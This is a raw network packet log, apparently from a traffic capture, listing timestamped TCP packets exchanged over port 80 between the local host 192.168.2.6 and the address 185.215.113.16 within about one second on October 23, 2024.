Oct 23, 2024 17:51:28.873955011 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.873967886 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.873972893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874000072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874013901 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874021053 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.874028921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874047041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874052048 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.874063015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874078035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874094009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874099016 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.874109983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874125957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874131918 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.874142885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874146938 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.874160051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874176025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874182940 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.874192953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874208927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874214888 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.874226093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874247074 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.874252081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874268055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874281883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874296904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874311924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874325037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874334097 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.874346972 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.874479055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874543905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874558926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874689102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874703884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874713898 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.874718904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874736071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874752045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874758005 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.874767065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874773026 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.874784946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874802113 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874809980 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.874819040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874835014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.874856949 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.874984026 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.885997057 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.952203989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952234030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952261925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952316999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952323914 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.952343941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952362061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952389002 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.952462912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952475071 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.952490091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952506065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952521086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952536106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952552080 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952564955 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.952568054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952584982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952595949 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.952600956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952616930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952639103 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.952817917 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.952826023 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.952877045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953017950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953032970 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953047991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953058958 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953063965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953082085 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953089952 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953108072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953124046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953135967 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953140974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953155994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953164101 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953182936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953198910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953207016 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953214884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953227997 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953241110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953257084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953272104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953288078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953301907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953305960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953324080 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953339100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953346968 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953353882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953368902 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953387976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953413963 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953414917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953434944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953447104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953458071 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953461885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953476906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953491926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953507900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953515053 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953515053 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953525066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953540087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953563929 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953567028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953581095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953593016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953608990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953632116 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953645945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953660011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953671932 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953680038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953695059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953708887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953722000 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953727007 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953742027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953752995 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953766108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953778982 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953782082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953799963 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953815937 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953826904 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953835964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953843117 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953850985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953886986 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953900099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953917980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953932047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953948021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953963995 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953974962 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.953979969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.953994989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.954010010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.954020977 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.954025984 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.954052925 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.954938889 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.957263947 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.989274025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989375114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989391088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989433050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989449024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989450932 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.989465952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989476919 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.989481926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989497900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989548922 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.989548922 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.989582062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989727020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989742994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989758968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989784956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989785910 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.989801884 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989819050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989829063 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.989835024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989842892 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.989849091 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989864111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989878893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.989890099 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.989905119 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.990911007 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.990926981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.990943909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.990957975 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.990989923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.990998030 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.991008997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.991099119 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.991743088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.991811991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.991827965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.991866112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.991877079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.991883993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.991885900 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.991899014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.991914988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.991925955 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.991930008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.991946936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.991955996 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.991964102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.991974115 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.991992950 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992041111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992058992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992074013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992079020 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992083073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992101908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992117882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992131948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992142916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992147923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992161989 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992166042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992191076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992194891 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992208004 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992223978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992233992 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992239952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992258072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992269039 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992295980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992347956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992369890 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992372990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992389917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992399931 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992405891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992423058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992433071 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992440939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992459059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992470026 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992475033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992491961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992501020 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992508888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992523909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992538929 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992552042 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992552042 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992567062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992594957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992595911 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992610931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992640018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992640972 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992659092 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992674112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992687941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992705107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992714882 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992719889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992737055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992748976 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992753029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992770910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992785931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992798090 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992801905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992819071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992827892 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992835045 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992844105 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992852926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992872953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992896080 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992898941 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992912054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992925882 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992928028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992955923 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.992955923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992974997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.992988110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.993002892 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.993046045 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.069694996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.069727898 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.069744110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.069761992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.069777966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.069952965 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.069952965 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.069987059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070034027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070050955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070074081 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.070076942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070094109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070102930 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.070111990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070128918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070147038 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.070173025 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.070173025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070190907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070208073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070225954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070233107 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.070275068 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.070287943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070316076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070333958 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070378065 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.070415020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070431948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070449114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070458889 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.070466995 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070483923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070497036 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.070499897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070518017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070528030 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.070535898 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070554018 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:29.070576906 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070604086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:29.070617914 CEST	49763	80	192.168.2.6	185.215.113.16
